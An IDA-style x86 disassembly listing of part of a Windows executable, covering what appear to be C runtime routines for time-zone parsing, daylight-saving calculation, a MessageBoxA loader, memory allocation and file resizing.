; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1EBD3AE8h], dl
		add	ah, byte ptr dword_4DB4D0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DB4D035h, 28E89000h, 0C3021EBDh

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi

loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28B08D0h
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi

loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2600B2Dh
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi

loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C

loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB590, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB590

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4D8, ebp
		mov	dword_43CD80, ebx
		mov	dword_43CD70, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4E0
		call	near ptr 2870000h
		nop
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4E0
		mov	ecx, dword_4DB534
		imul	eax, 3Ch
		cmp	word_4DB526, bp
		push	1
		pop	edx
		mov	dword_43CCD8, eax
		mov	dword_4DB4D8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCD8, eax

loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB57A, bp
		jz	short loc_424887
		mov	eax, dword_4DB588
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCDC, edx
		imul	eax, 3Ch
		mov	dword_43CCE0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------

loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCDC, ebp
		mov	dword_43CCE0, ebp

loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD64
		push	ebx
		push	offset dword_4DB4E4
		push	edi
		push	dword_4DB374
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD64
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------

loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD64
		and	byte ptr [eax],	0

loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD68
		push	ebx
		push	offset dword_4DB538
		push	edi
		push	dword_4DB374
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD68
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------

loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB58C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44

loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB58C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB58C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD64
		call	sub_41B5F0
		mov	eax, off_43CD64
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi

loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCD8, ecx

loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5

loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------

loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCD8
		add	ecx, eax
		mov	dword_43CCD8, ecx

loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------

loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCD8
		add	ecx, eax
		mov	dword_43CCD8, ecx

loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------

loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCD8, ecx

loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCDC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD68
		call	sub_41B5F0
		mov	eax, off_43CD68
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------

loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD68
		and	byte ptr [eax],	0

loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCDC, edi
		jnz	short loc_424A5E

loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------

loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD70
		jnz	short loc_424A7C
		cmp	eax, dword_43CD80
		jz	loc_424B7E

loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4D8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB586
		push	ecx
		cmp	word_4DB578, di
		movzx	ecx, word_4DB584
		push	ecx
		movzx	ecx, word_4DB582
		push	ecx
		movzx	ecx, word_4DB580
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB57C
		push	edi
		push	ecx
		movzx	ecx, word_4DB57E
		push	ecx
		movzx	ecx, word_4DB57A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------

loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB57E
		push	ecx
		push	edi
		movzx	ecx, word_4DB57A
		push	edi
		push	ecx
		push	eax
		push	edi

loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB532
		add	esp, 2Ch
		cmp	word_4DB524, di
		push	eax
		movzx	eax, word_4DB530
		push	eax
		movzx	eax, word_4DB52E
		push	eax
		movzx	eax, word_4DB52C
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB528
		push	edi
		push	eax
		movzx	eax, word_4DB52A
		push	eax
		movzx	eax, word_4DB526
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------

loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB52A
		push	eax
		push	edi
		movzx	eax, word_4DB526
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------

loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h

loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD74
		mov	eax, dword_43CD84
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2

loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx

loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57

loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD78
		setnl	cl

loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------

loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD88
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD88[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------

loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CDBC[esi]

loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------

loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD8C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------

loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CDC0[esi]

loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------

loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD88[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------

loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CDBC[eax*4]

loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]

loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD74, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD70, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD78, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------

loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD84, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCE0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD88, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD88, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------

loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD88, eax

loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD84, ecx

loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD80, ebx

loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC821[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C332[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------

loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax

loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------

loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB594, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB594, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB598, eax
		call	esi
		mov	dword_4DB59C, eax

loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB598
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB59C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax

loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB594

loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi

loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC940
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------

loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C324
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB

loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC944
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5

loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB32C, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------

loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]

loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi

loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------

loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB

loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5E0, esi
		jle	short loc_424F05

loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB5C8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi

loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB5C8
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB5C8
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5E0
		jl	short loc_424EC1

loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC700
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi

loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------

loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB2AC, 5
		jnz	short loc_424FDC
		mov	dword_4DB2A8, 0Dh

loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh

loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------

loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2600000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB2A8, 0Dh
		nop
		call	near ptr 2690DF2h
		mov	dword_4DB2AC, eax

loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------

loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB2A8, 9

loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh

loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069

loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax

loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]

loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]

loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
